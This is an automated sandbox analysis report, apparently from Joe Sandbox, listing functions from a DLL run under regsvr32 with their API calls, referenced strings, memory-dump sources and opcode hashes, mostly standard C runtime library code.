Instruction ID: cfcb7f97c050c205ce9dc135097ab7d7a4568c7af9604615ed64ce5fc2f20dd7
Opcode Fuzzy Hash: 9476f1033bd158d83e9b2829b6659a800b6e153cd7b186b39b2f70f79a908a25
Instruction Fuzzy Hash: 32310AB2C14259BFDF028FD9DD80ADEBFB9BF58204F54406AE918B2211D7318950CF60

Function 6E9B6A31 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6E9B68E4,00000001,00000364,00000000,FFFFFFFF,000000FF,?,?,6E9B4C74), ref: 6E9B6A72

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 83043b86c02fe7b88dfe4d1b582700a3ad22ecd150969324796e8be9a2b1e8df
Instruction ID: 5c4fb3c64e40f0dbcabe6be37c1da4e41f228ae12d998fb42666e152a5da71aa
Opcode Fuzzy Hash: 83043b86c02fe7b88dfe4d1b582700a3ad22ecd150969324796e8be9a2b1e8df
Instruction Fuzzy Hash: A4F0B431524527BAEF519EF68C14A6B3B6DAF91760B10C531A814D6185CB30F410CEE1

Non-executed Functions

Function 6E9B1865 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6E9B1871
IsDebuggerPresent.KERNEL32 ref: 6E9B193D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E9B1956
UnhandledExceptionFilter.KERNEL32(?), ref: 6E9B1960

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f6f8f7937c3d0971e61bb74c86a8cd3bab2fbeb29367164e27eea537936aa31e
Instruction ID: 6f7fadee75c89f2caf5cbc0c31868b6870af51b202f19fc7aa86f959feea5baf
Opcode Fuzzy Hash: f6f8f7937c3d0971e61bb74c86a8cd3bab2fbeb29367164e27eea537936aa31e
Instruction Fuzzy Hash: 763106B9D052189BDF20DFA5D9497CEBBB8BF09304F1041EAE40CAB250EB719A84CF45

Function 6E9B5DA3 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

PATH, xrefs: 6E9B5E7A, 6E9B5E80
\, xrefs: 6E9B5F1D

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: PATH$\
API String ID: 485612231-1896636505
Opcode ID: caa0f997ae3a3b647ea3b82be59eaf60be46a931a4f043d64e68e921796dd07f
Instruction ID: 3b06b230ddf5997d1f506c23bbf8a40e194c7385c432baabb095856a048c4ef7
Opcode Fuzzy Hash: caa0f997ae3a3b647ea3b82be59eaf60be46a931a4f043d64e68e921796dd07f
Instruction Fuzzy Hash: 9A9103B1D28206EFEB158FE6CC50BEF7BBEAF55314F10482AE421A6182EB75D540CE50

Function 6E9B328F Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6E9B33AE
___TypeMatch.LIBVCRUNTIME ref: 6E9B34BC
_UnwindNestedFrames.LIBCMT ref: 6E9B360E
CallUnexpected.LIBVCRUNTIME ref: 6E9B3629

Strings

csm, xrefs: 6E9B33E5
csm, xrefs: 6E9B3339
csm, xrefs: 6E9B32CC

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: da1e05de27f32010f57587a690c608e4587f995f69b835b8df8e86b30089cd20
Instruction ID: bd9052ea27d324cdecad4a11dd781a293565f9e4c6d5d7966b22caf8ad9ab591
Opcode Fuzzy Hash: da1e05de27f32010f57587a690c608e4587f995f69b835b8df8e86b30089cd20
Instruction Fuzzy Hash: 02B1747180020AEFCF05CFE5C88899FBBB9FF54714B50446AE824AB215DBB1EA51CF91

Function 6E9BC012 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,6E9BC2E2,00000000,00000000,00000000,00000001,?,?,?,?,00000001,00000000), ref: 6E9BC0B8
__alloca_probe_16.LIBCMT ref: 6E9BC173
__alloca_probe_16.LIBCMT ref: 6E9BC202
__freea.LIBCMT ref: 6E9BC24D
__freea.LIBCMT ref: 6E9BC253
__freea.LIBCMT ref: 6E9BC289
__freea.LIBCMT ref: 6E9BC28F
__freea.LIBCMT ref: 6E9BC29F

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 370fa7c05d858d1ec68f2b6056c52b66ee0e34ad6fb6e2f86a903ca8c97a2b91
Instruction ID: b28b99561730a699595d5f5070a752addbfbad3284b3666dab9a286bc17cabc9
Opcode Fuzzy Hash: 370fa7c05d858d1ec68f2b6056c52b66ee0e34ad6fb6e2f86a903ca8c97a2b91
Instruction Fuzzy Hash: 7771A172A0420AAFEF108AE48C51BEF77AD9FCA314F140959E954BF280E775D8418F91

Function 6E9B1C50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E9B1C87
___except_validate_context_record.LIBVCRUNTIME ref: 6E9B1C8F
_ValidateLocalCookies.LIBCMT ref: 6E9B1D18
__IsNonwritableInCurrentImage.LIBCMT ref: 6E9B1D43
_ValidateLocalCookies.LIBCMT ref: 6E9B1D98

Strings

csm, xrefs: 6E9B1D2D

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4108e0e80d24232af459c1c741241d030bb61c04ba7743c39036f287895f3e0c
Instruction ID: 509ac5eb2e943e72ca590de7f077edf4d2488a9ef89db7610ff955489773f02e
Opcode Fuzzy Hash: 4108e0e80d24232af459c1c741241d030bb61c04ba7743c39036f287895f3e0c
Instruction Fuzzy Hash: 9E417134910219ABCF04CFEAC884ADFBBB9EF86318F108555E8259B351D731DA59CF91

Function 6E9B82A6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6E9B83B5,?,6E9B4C74,00000000,00000000,?,?,6E9B858B,00000022,FlsSetValue,6E9C0550,6E9C0558,00000000), ref: 6E9B8367

Strings

ext-ms-, xrefs: 6E9B8311
api-ms-, xrefs: 6E9B82FD

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5e1cc08c08bd11455a72edec168707afd441c53e8079e9dfed32f5842bc84cf0
Instruction ID: 047686fc217a4540ba3d32f52ca79f1270a5b51701245e6cd1cc24daf3a04c54
Opcode Fuzzy Hash: 5e1cc08c08bd11455a72edec168707afd441c53e8079e9dfed32f5842bc84cf0
Instruction Fuzzy Hash: 1D21DA75909A13AFDB659AA5CC84E8B376C9F4B7A4F244524ED15E7281D730ED00CED0

Function 6E9B235C Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E9B1E31,6E9B163B,6E9B104E,?,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520,0000000C,6E9B137F), ref: 6E9B236A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E9B2378
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E9B2391
SetLastError.KERNEL32(00000000,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520,0000000C,6E9B137F,?,00000001,?), ref: 6E9B23E3

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f4ad979e04fb322c4f3e50b016b2400259427ec565b6ecb94d03a8251a5fe29c
Instruction ID: ecb1424a08175ba16312801e208a0f66b68f04addee6207019c8bf1a5a94125c
Opcode Fuzzy Hash: f4ad979e04fb322c4f3e50b016b2400259427ec565b6ecb94d03a8251a5fe29c
Instruction Fuzzy Hash: 9B0128B211C711AEA64426F55CC865B3A5CEF47F783200629ED20961E0EF71C8408E50

Function 6E9B7136 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\regsvr32.exe, xrefs: 6E9B7152

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\regsvr32.exe
API String ID: 0-3922119987
Opcode ID: 96dea70dbb67acff7cdfd227918bc75005dc79a57b36e044078314c6b2b7b0ec
Instruction ID: 78ff3708298f19f8692134195727c5b3b7ed23311ca71f7db425a454cdcb9d8a
Opcode Fuzzy Hash: 96dea70dbb67acff7cdfd227918bc75005dc79a57b36e044078314c6b2b7b0ec
Instruction Fuzzy Hash: 3D218EB1604205AFDB009FE5CC8499B77BEAF853687108F29E924DB190EB30ED118F70

Function 6E9B41F3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,224FF640,?,?,00000000,6E9BEC9D,000000FF,?,6E9B418D,00000000,?,6E9B4161,6E9B1014), ref: 6E9B4228
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E9B423A
FreeLibrary.KERNEL32(00000000,?,?,00000000,6E9BEC9D,000000FF,?,6E9B418D,00000000,?,6E9B4161,6E9B1014), ref: 6E9B425C

Strings

CorExitProcess, xrefs: 6E9B4232
mscoree.dll, xrefs: 6E9B4221

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fc82504d600a3667d7a6525173468826657149cc005e179e4a9ba1113eca129f
Instruction ID: 2175c024cf1595cad79d4847aee25f90f7d6e6c660edaf4c7957240c874319f9
Opcode Fuzzy Hash: fc82504d600a3667d7a6525173468826657149cc005e179e4a9ba1113eca129f
Instruction Fuzzy Hash: 35011275918A19EBDF029F94CC08BAF7BBCFF45719F104625E921A6290DB74D900DE50

Function 6E9BA6E5 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6E9BA76A
__alloca_probe_16.LIBCMT ref: 6E9BA833
__freea.LIBCMT ref: 6E9BA89A

Part of subcall function 6E9B9163: HeapAlloc.KERNEL32(00000000,6E9B76AF,6E9B8E7D,?,6E9B76AF,00000220,?,?,6E9B8E7D), ref: 6E9B9195

__freea.LIBCMT ref: 6E9BA8AD
__freea.LIBCMT ref: 6E9BA8BA

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: e0a4794faa140e5f59af17aa68da241a0f929dc0c407e8395c39a2c00ba881f0
Instruction ID: cf736c632554f059c1f11c4ca147053dde50b1e1d198450b873a375fcff86882
Opcode Fuzzy Hash: e0a4794faa140e5f59af17aa68da241a0f929dc0c407e8395c39a2c00ba881f0
Instruction Fuzzy Hash: 05519372A0020AAFEB558EE5CC84EEB36ADDF95714B110929FD24D6650E7B5CC11CEA0

Function 6E9B2EB4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6E9B2E65,00000000,?,00000001,?,?,?,6E9B2F54,00000001,FlsFree,6E9BFBE0,FlsFree), ref: 6E9B2EC1
GetLastError.KERNEL32(?,6E9B2E65,00000000,?,00000001,?,?,?,6E9B2F54,00000001,FlsFree,6E9BFBE0,FlsFree,00000000,?,6E9B2431), ref: 6E9B2ECB
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6E9B2EF3

Strings

api-ms-, xrefs: 6E9B2ED8

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 10ff7841a6d2d4a5974f5fd6865342c5ac546652d815690011ceac605685170d
Instruction ID: d8e229e63a1667efc60e3f90ae96cf2dcc2a79fdceede60684fb296ee430c78b
Opcode Fuzzy Hash: 10ff7841a6d2d4a5974f5fd6865342c5ac546652d815690011ceac605685170d
Instruction Fuzzy Hash: DAE01A71648606B6EF101AA2DC05B4B3E69EF01B49F208420F90CE84A5EB72D4509954

Function 6E9BAE87 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(224FF640,00000000,00000000,?), ref: 6E9BAEEA

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E9BB13C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E9BB182
GetLastError.KERNEL32 ref: 6E9BB225

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 10c881555a1b1bd4c015629acb6713ab718b52aac53986c25d12b5de10af1c16
Instruction ID: 357750fd07c7cbe4e93f735867e7b3b0f8ae60505e709fc36b08a4a22db3a10b
Opcode Fuzzy Hash: 10c881555a1b1bd4c015629acb6713ab718b52aac53986c25d12b5de10af1c16
Instruction Fuzzy Hash: 21D169B5D042499FDB05CFE8C8D0AEEBBB9EF59304F14452AE825EB285E630E941CF50

Function 6E9B3038 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E9B30FF
___AdjustPointer.LIBCMT ref: 6E9B3122
___AdjustPointer.LIBCMT ref: 6E9B31BE

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: dc8d79c544b212f9714f70306e6ed1cf1182b48fd819aa8410cc8c6b0cb075bc
Instruction ID: b904a2aaa6d5bec3eeeed0f5aecf1be3354354367e75cdaba68cc0e1ee3f372d
Opcode Fuzzy Hash: dc8d79c544b212f9714f70306e6ed1cf1182b48fd819aa8410cc8c6b0cb075bc
Instruction Fuzzy Hash: C451D0B2A05206EFEB15CFE5D858BAB73ACEF45710F10492DE91547290E7B1E880CF90

Function 6E9B6AA6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

GetLastError.KERNEL32 ref: 6E9B6B0A
__dosmaperr.LIBCMT ref: 6E9B6B11
GetLastError.KERNEL32(?,?,?,?), ref: 6E9B6B4B
__dosmaperr.LIBCMT ref: 6E9B6B52

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4bb1455f9f55fd9ccf048091db378758218ed83833cbe5d962d4a16c5a55b28d
Instruction ID: 6f3e8642d07cf336b6bfbd6987808b6f777d71f1d11116abd7589f6f65b4fc5e
Opcode Fuzzy Hash: 4bb1455f9f55fd9ccf048091db378758218ed83833cbe5d962d4a16c5a55b28d
Instruction Fuzzy Hash: 1A218071A28215AFDB109FE5C880C9BBBBEEF853687108929E815D7251DB70FC00CFA0

Function 6E9B7DA7 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E9B7DAF

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E9B7DE7
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E9B7E07

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f48a52a2aaa70c0af7ed3bc056b5353229659cc832d89eb0f2d7c87e43e899a8
Instruction ID: 8a779e42204a22ad12be876e55a3f56f5594b4523e0ff10f7ed146496a11c868
Opcode Fuzzy Hash: f48a52a2aaa70c0af7ed3bc056b5353229659cc832d89eb0f2d7c87e43e899a8
Instruction Fuzzy Hash: F411A1F5919A15BFAB0216F68C8DDAF296DDED669CB100B25F804D1194EF70DD0089B0

Function 6E9BCC26 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000), ref: 6E9BCC3D
GetLastError.KERNEL32(?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?,?,?,6E9BB81C,00000000), ref: 6E9BCC49

Part of subcall function 6E9BCC0F: CloseHandle.KERNEL32(FFFFFFFE,6E9BCC59,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?,?), ref: 6E9BCC1F

___initconout.LIBCMT ref: 6E9BCC59

Part of subcall function 6E9BCBD1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E9BCC00,6E9BC3C5,?,?,6E9BB279,?,00000000,00000000,?), ref: 6E9BCBE4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?), ref: 6E9BCC6E

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5fd6f526e679257cd477c52ae3a84d3fe211bd9b04c1842cba9458cba5c34c7a
Instruction ID: 5bb1cdbfed7910f3db9c64ffc3b1423c799823a0aa05f2997a177078c5abf71e
Opcode Fuzzy Hash: 5fd6f526e679257cd477c52ae3a84d3fe211bd9b04c1842cba9458cba5c34c7a
Instruction Fuzzy Hash: B5F01C36454514BBCF122FD5CC089DB3F6AEF4ABA4B148810FA1899120C632C920DBA1

Function 6E9B3634 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6E9B3659
